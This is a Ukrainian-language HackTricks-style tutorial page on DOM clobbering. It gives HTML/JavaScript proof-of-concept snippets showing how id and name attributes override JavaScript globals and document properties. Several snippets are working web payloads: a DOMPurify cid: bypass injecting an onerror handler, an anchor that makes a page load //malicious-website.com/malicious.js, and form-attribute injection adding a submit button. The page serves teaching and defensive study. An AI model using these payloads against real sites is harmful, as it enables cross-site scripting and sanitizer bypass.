220 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{{#include ../../banners/hacktricks-training.md}}
## **Основи**
Можливо генерувати **глобальні змінні в контексті JS** з атрибутами **`id`** та **`name`** в HTML тегах.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**Тільки** певні елементи можуть використовувати **атрибут name** для кловерінгу глобальних змінних, це: `embed`, `form`, `iframe`, `image`, `img` та `object`.
Цікаво, що коли ви використовуєте **елемент форми** для **кловерінгу** змінної, ви отримаєте **`toString`** значення самого елемента: `[object HTMLFormElement]`, але з **якорем** **`toString`** буде якорний **`href`**. Тому, якщо ви кловерите за допомогою **`a`** тегу, ви можете **контролювати** **значення**, коли воно **обробляється як рядок**:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Масиви та Атрибути
Також можливо **перезаписати масив** та **атрибути об'єкта**:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
Щоб перезаписати **третій атрибут** (наприклад, x.y.z), вам потрібно використовувати **`form`**:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
Клобберинг більше атрибутів є **більш складним, але все ще можливим**, використовуючи iframes:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> Тег style використовується для **надання достатньо часу iframe для рендерингу**. Без нього ви отримаєте сповіщення про **undefined**.
Щоб змінити глибші атрибути, ви можете використовувати **iframes з html кодуванням** таким чином:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **Обхід фільтра**
Якщо фільтр **перебирає** **властивості** вузла, використовуючи щось на зразок `document.getElementByID('x').attributes`, ви можете **перезаписати** атрибут **`.attributes`** і **зламати фільтр**. Інші властивості DOM, такі як **`tagName`**, **`nodeName`** або **`parentNode`** та інші також є **перезаписуваними**.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **Перезапис `window.someObject`**
В JavaScript часто можна зустріти:
```javascript
var someObject = window.someObject || {}
```
Маніпулювання HTML на сторінці дозволяє перезаписати `someObject` з DOM-елементом, що потенційно вводить уразливості безпеки. Наприклад, ви можете замінити `someObject` на елемент посилання, що вказує на шкідливий скрипт:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
У вразливому коді, такому як:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
Цей метод використовує джерело скрипта для виконання небажаного коду.
**Трюк**: **`DOMPurify`** дозволяє використовувати протокол **`cid:`**, який **не кодує URL подвійні лапки**. Це означає, що ви можете **впровадити закодовану подвійні лапки, яка буде декодована під час виконання**. Тому, впровадження чогось на кшталт **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** змусить HTML закодоване `&quot;` бути **декодованим під час виконання** і **вийти** з значення атрибута, щоб **створити** подію **`onerror`**.
Інша техніка використовує елемент **`form`**. Деякі бібліотеки на стороні клієнта перевіряють атрибути новоствореного елемента форми, щоб очистити їх. Однак, додавши `input` з `id=attributes` всередині форми, ви ефективно перезаписуєте властивість атрибутів, запобігаючи санітайзеру доступ до фактичних атрибутів.
Ви можете [**знайти приклад цього типу клобберингу в цьому CTF звіті**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Клобберинг об'єкта документа
Згідно з документацією, можливо перезаписати атрибути об'єкта документа, використовуючи DOM Clobbering:
> Інтерфейс [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [підтримує іменовані властивості](https://webidl.spec.whatwg.org/#dfn-support-named-properties). [Підтримувані імена властивостей](https://webidl.spec.whatwg.org/#dfn-supported-property-names) об'єкта [Document](https://html.spec.whatwg.org/multipage/dom.html#document) в будь-який момент складаються з наступних, у [деревоподібному порядку](https://dom.spec.whatwg.org/#concept-tree-order) відповідно до елемента, який їх надав, ігноруючи пізні дублікати, і з значеннями з атрибутів [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), які йдуть перед значеннями з атрибутів name, коли один і той же елемент надає обидва:
>
> \- Значення атрибута вмісту name для всіх [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) та [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) елементів, які мають непорожній атрибут вмісту name і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Значення атрибута вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) елементів, які мають непорожній атрибут вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Значення атрибута вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) елементів, які мають як непорожній атрибут [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), так і непорожній атрибут вмісту name, і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root).
Використовуючи цю техніку, ви можете перезаписати загальновживані **значення, такі як `document.cookie`, `document.body`, `document.children`**, і навіть методи в інтерфейсі Document, такі як `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Написання після елемента, що був знищений
Результати викликів **`document.getElementById()`** та **`document.querySelector()`** можуть бути змінені шляхом ін'єкції тегу `<html>` або `<body>` з ідентичним атрибутом id. Ось як це можна зробити:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
Крім того, використовуючи стилі для приховування цих ін'єкованих HTML/body тегів, можна запобігти втручанню з іншого тексту в `innerText`, тим самим підвищуючи ефективність атаки:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Дослідження SVG виявили, що тег `<body>` також може бути ефективно використаний:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Для того щоб HTML тег працював в SVG в браузерах, таких як Chrome і Firefox, необхідний тег `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms
Можливо додати **нові записи всередині форми**, просто **вказавши атрибут `form`** всередині деяких тегів. Ви можете використовувати це, щоб **додати нові значення всередині форми** і навіть додати нову **кнопку** для **відправки** (клікджекинг або зловживання деяким кодом JS `.click()`):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- Для отримання додаткових атрибутів форми в [**кнопці перевірте це**](https://www.w3schools.com/tags/tag_button.asp)**.**
## Посилання
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript для хакерів: навчіться думати як хакер.
{{#include ../../banners/hacktricks-training.md}}